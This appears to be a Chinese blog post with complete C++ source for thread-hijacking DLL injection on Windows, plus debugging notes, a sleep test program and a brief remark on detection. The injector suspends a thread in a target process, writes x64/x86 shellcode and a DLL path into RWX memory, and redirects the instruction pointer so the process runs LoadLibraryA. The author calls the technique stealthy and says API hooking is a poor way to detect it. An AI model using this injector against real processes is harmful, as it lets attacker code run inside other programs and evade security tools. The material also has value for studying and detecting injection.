首页 > 系统相关 >线程劫持-进程注入C++示例和检测思考

线程劫持-进程注入C++示例和检测思考

时间:2023-09-19 12:22:08浏览次数:41  
标签:劫持 thread 示例 C++ dll 线程 sleep include

线程劫持:运行方法

C:\Users\l00379637\source\repos\thread_hijack\x64\Release\thread_hijack.exe 18132 C:\Users\l00379637\source\repos\injected_dll\x64\Release\injected_dll.dll
Process ID: 18132
Injected!

  

劫持效果:

 

劫持代码如下:

#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <system_error>


constexpr SIZE_T PAGE_SIZE = 1 << 12;


/// <summary>
/// Print the human-readable error message cause while execution of the function and exit if TRUE
/// </summary>
/// <param name="lpFunction">Function name caused error</param>
/// <param name="bExit">Whether to exit after printing error or not (TRUE/FALSE)</param>
VOID PrintError(LPCSTR lpFunction, BOOL bExit = FALSE) {
	DWORD dwErrorCode = GetLastError();

	std::cout << "[" << dwErrorCode << "] " << lpFunction << ": ";
	if (dwErrorCode == 0x0) {
		std::cout << "Undefined error\n";
	}
	else {
		std::cout << "error code:" << dwErrorCode << std::endl;
	}

	if (bExit) {
		ExitProcess(1);
	}
}

HANDLE GetFirstThead(DWORD dwPID) {
	HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0x0);
	HANDLE hThread = NULL;

	THREADENTRY32 te{};
	te.dwSize = sizeof(THREADENTRY32);

	if (!Thread32First(hSnap, &te)) {
		CloseHandle(hSnap);
		return hThread;
	}

	do {
		if (te.th32OwnerProcessID == dwPID) {
			// SET_CONTEXT is used to change the values of the registers
			// GET_CONTEXT is used to retrieve the initial values of the registers
			// SUSPEND and RESUME are required because instruction pointer can not be changed for running thread
			hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT | THREAD_SUSPEND_RESUME, FALSE, te.th32ThreadID);
			if (hThread != NULL) {
				break;
			}
		}
	} while (Thread32Next(hSnap, &te));

	CloseHandle(hSnap);
	return hThread;
}


BOOL DoInjection(HANDLE hProcess, HANDLE hThread, LPCSTR lpDllPath) {
#ifdef _WIN64
	BYTE code[] = {
		// sub rsp, 28h
		0x48, 0x83, 0xec, 0x28,
		// mov [rsp + 18], rax
		0x48, 0x89, 0x44, 0x24, 0x18,
		// mov [rsp + 10h], rcx
		0x48, 0x89, 0x4c, 0x24, 0x10,
		// mov rcx, 11111111111111111h
		0x48, 0xb9, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11,
		// mov rax, 22222222222222222h
		0x48, 0xb8, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
		// call rax
		0xff, 0xd0,
		// mov rcx, [rsp + 10h]
		0x48, 0x8b, 0x4c, 0x24, 0x10,
		// mov rax, [rsp + 18h]
		0x48, 0x8b, 0x44, 0x24, 0x18,
		// add rsp, 28h
		0x48, 0x83, 0xc4, 0x28,
		// mov r11, 333333333333333333h
		0x49, 0xbb, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
		// jmp r11
		0x41, 0xff, 0xe3
	};
#else
	BYTE code[] = {
			0x60,
			0x68, 0x11, 0x11, 0x11, 0x11,
			0xb8, 0x22, 0x22, 0x22, 0x22,
			0xff, 0xd0,
			0x61,
			0x68, 0x33, 0x33, 0x33, 0x33,
			0xc3
	};
#endif
	if (SuspendThread(hThread) == -1) {
		return FALSE;
	}

	LPVOID lpBuffer = VirtualAllocEx(
		hProcess,
		nullptr,
		PAGE_SIZE,
		MEM_RESERVE | MEM_COMMIT,
		PAGE_EXECUTE_READWRITE
	);
	if (lpBuffer == nullptr) {
		ResumeThread(hThread);
		return FALSE;
	}

	CONTEXT ctx{};
	ctx.ContextFlags = CONTEXT_ALL;

	if (!GetThreadContext(hThread, &ctx)) {
		ResumeThread(hThread);
		return FALSE;
	}

	HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
	if (hKernel32 == NULL) {
		ResumeThread(hThread);
		return FALSE;
	}

	LPVOID lpLoadLibraryA = GetProcAddress(hKernel32, "LoadLibraryA");
	if (lpLoadLibraryA == NULL) {
		ResumeThread(hThread);
		return FALSE;
	}

#ifdef _WIN64
	* (LPVOID*)(code + 0x10) = (LPVOID)((CHAR*)lpBuffer + (PAGE_SIZE / 2));
	*(LPVOID*)(code + 0x1a) = lpLoadLibraryA;
	*(PLONGLONG)(code + 0x34) = ctx.Rip;
#else
	* (LPVOID*)(code + 2) = (LPVOID)((CHAR*)lpBuffer + (PAGE_SIZE / 2));
	*(LPVOID*)(code + 7) = lpLoadLibraryA;
	*(PUINT)(code + 0xf) = ctx.Eip;
#endif

	if (!WriteProcessMemory(
		hProcess,
		lpBuffer,
		code,
		sizeof(code),
		nullptr
	)) {
		ResumeThread(hThread);
		return FALSE;
	}

	if (!WriteProcessMemory(
		hProcess,
		(CHAR*)lpBuffer + (PAGE_SIZE / 2),
		lpDllPath,
		strlen(lpDllPath),
		nullptr
	)) {
		ResumeThread(hThread);
		return FALSE;
	}

#ifdef _WIN64
	ctx.Rip = (ULONGLONG)lpBuffer;
#else
	ctx.Eip = (DWORD)lpBuffer;
#endif

	if (!SetThreadContext(hThread, &ctx)) {
		ResumeThread(hThread);
		return FALSE;
	}

	ResumeThread(hThread);
	return TRUE;
}

INT main(INT argc, CHAR** argv) {
	// C:\Users\l00379637\source\repos\thread_hijack\x64\Release\thread_hijack.exe pid C:\Users\l00379637\source\repos\injected_dll\x64\Release\injected_dll.dll
	
	if (argc < 3) {
		std::cerr << "usage: " << argv[0] << " PID DLL_PATH\n";
		return 0x1;
	}

	std::cout << "Process ID: " << argv[1] << std::endl;
	DWORD dwPID = atoi(argv[1]);
	CHAR wzDllFullPath[MAX_PATH] = { 0 };
	strcpy_s(wzDllFullPath, argv[2]);

	/*
	DWORD dwPID = 11740;
	CHAR wzDllFullPath[MAX_PATH] = "C:\\Users\\l00379637\\source\\repos\\injected_dll\\x64\\Release\\injected_dll.dll";// "C:\\Users\\l00379637\\source\\repos\\test_dll\\Release\\test_dll.dll";
	*/


	HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwPID);
	if (hProcess == nullptr) {
		PrintError("OpenProcess()", TRUE);
	}

	HANDLE hThread = GetFirstThead(dwPID);
	if (hThread == NULL) {
		PrintError("GetFirstThead()", TRUE);
	}

	// wzDllFullPath = argv[2];
	if (!DoInjection(hProcess, hThread, wzDllFullPath)) {
		PrintError("DoInjection()", TRUE);
	}

	std::cout << "Injected!\n";

	return 0x0;
}

  

 

DLL代码参考:https://www.cnblogs.com/bonelee/p/17705390.html

 

为了了解原理,我自己debug了下,因为dll路径不正确,导致劫持无效果,因此有了下面的调试过程:

先是被劫持后的exe内存情况,可以看到执行“劫持”代码的内存分配,其中1和2是关键!

对应下面shellcode:

 

2是程序劫持完以后要返回源程序!所以要修改rip:

 

 

但是代码执行完,

 

却没有实现真正的劫持效果:

 

 

 

不用记事本,我们单独写一个程序调试下:

写一个sleep程序,然后断点:

 

 

可以看到在没有运行resume thread前,sleep的程序果然挂住了!如上图所示。并且劫持的程序结束以后,sleep程序会继续正常向前运行。

 

为了找到问题所在:设置一个断点,然后执行完resume thread看看:

 还是成功断住了!

跟进去调用dll的地方

 

可以看到确实是调用了该dll!但是为什么没有弹出messagebox呢?

并且动态加载的模块里也没有该dll:

怀疑是我的路径字符串出错。实际运行发现并没有问题:如下

 

 

我++,SB了,原来是我自己的DLL路径不对!!!更换正确的DLL路径即可实现劫持效果!

如下:

 附下:

sleep调试进程代码:

// sleephere.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
#include <windows.h>
#include <synchapi.h>
#include <iostream>

int main()
{
    std::cout << "Hello World!\n";
	DWORD pid = GetCurrentProcessId();
	std::cout << "当前进程的PID是: " << pid << std::endl;
	int i = 0;
	while (1) {
		SleepEx(3000, true);
		std::cout << "You are done? " << i;
		i += 1;
	}
	std::cout << "Exit!\n";
}

  

检测:

可以看到是直接修改进程上下文,GetThreadContext、修改rip以后,然后SetThreadContext再resumethread,让其执行注入的shellcode!

所以这种劫持情况,上述几个os api的hook性价比有点低。检测起来也比较隐蔽。GG!!!

 

标签:劫持,thread,示例,C++,dll,线程,sleep,include
From: https://www.cnblogs.com/bonelee/p/17714301.html

相关文章

  • 万字长文深度解读Java线程池,硬核源码分析
    前言本文将深入分析Java线程池的源码,包括线程池的创建、任务提交、工作线程的执行和线程池的关闭等过程。通过对线程池源码的解析,我们能够更好地理解线程池的原理和机制,为我们在实际开发中合理使用线程池提供指导。文章内容较长,建议找个安静的环境慢慢细读,由于线程池涉及的内容......
  • C++序列式容器
    需要注意的是,序列容器只是一类容器的统称,并不指具体的某个容器,序列容器大致包含以下几类容器:array<T,N>(数组容器):表示可以存储 N个T类型的元素,是 C++ 本身提供的一种容器。此类容器一旦建立,其长度就是固定不变的,这意味着不能增加或删除元素,只能改变某个元素的值;vector<T>......
  • C++匿名对象生存期
    classSome{intn;public:Some(ints){n=s;}~Some(){cout<<"destroy\n";}intret(){returnn;}};intmain(intargc,char*argv[]){cout<<Some(111).ret()<<"\n";cout<<"wait......
  • Java并发Map的面试指南:线程安全数据结构的奥秘
    简介在计算机软件开发的世界里,多线程编程是一个重要且令人兴奋的领域。然而,与其引人入胜的潜力相伴而来的是复杂性和挑战,其中之一就是处理共享数据。当多个线程同时访问和修改共享数据时,很容易出现各种问题,如竞态条件和数据不一致性。本文将探讨如何在Java中有效地应对这些挑战,介......
  • Java并发Map的面试指南:线程安全数据结构的奥秘
    简介在计算机软件开发的世界里,多线程编程是一个重要且令人兴奋的领域。然而,与其引人入胜的潜力相伴而来的是复杂性和挑战,其中之一就是处理共享数据。当多个线程同时访问和修改共享数据时,很容易出现各种问题,如竞态条件和数据不一致性。本文将探讨如何在Java中有效地应对这些挑战,......
  • 个人项目——C++实现论文查重(简易版)
    本次项目GitHub地址:https://github.com/Focuspresent/Paper_Review这个作业属于哪个课程https://edu.cnblogs.com/campus/jmu/ComputerScience21这个作业的要求https://edu.cnblogs.com/campus/jmu/ComputerScience21/homework/13034这个作业的目标完成一次编程练......
  • C++系列十:日常学习-Lambda表达式
    目录前言必备理论知识:例子:前言有C#经验,使用起来,驾轻就熟。就是语法糖。但是也要熟悉用法,才好众享丝滑。内容参考:Chatjpt、文心一言必备理论知识:捕获列表:[]:默认不捕获任何变量;[=]:默认以值捕获所有变量;内部有一个相应的副本[&]:默认以引用捕获所有变量;[x]:仅以值捕获x,其它......
  • C++中的深拷贝和浅拷贝介绍
    对于基本类型的数据以及简单的对象,它们之间的拷贝非常简单,就是按位复制内存。例如:classBase{public:Base():m_a(0),m_b(0){}Base(inta,intb):m_a(a),m_b(b){}private:intm_a;intm_b;};intmain(){in......
  • Win32编程之线程池(十二)
    一、线程池概念介绍1.线程的执行流程2.线程池原理线程创建API和线程池API对比:二、线程池异步函数的调用三、线程池的周期性调用四、线程池内核对象触发调用五、线程池IO完成调用 ......
  • Springboot简单功能示例-5 使用JWT进行授权认证
    springboot-sample介绍springboot简单示例-使用JWT进行授权认证跳转到发行版查看发行版说明软件架构(当前发行版)Springboot3.1.3hutoolbcprov-jdk18on安装教程gitclone--branch自定义加密进行登录验证[email protected]:simen_net/springboot-sample.git主要功......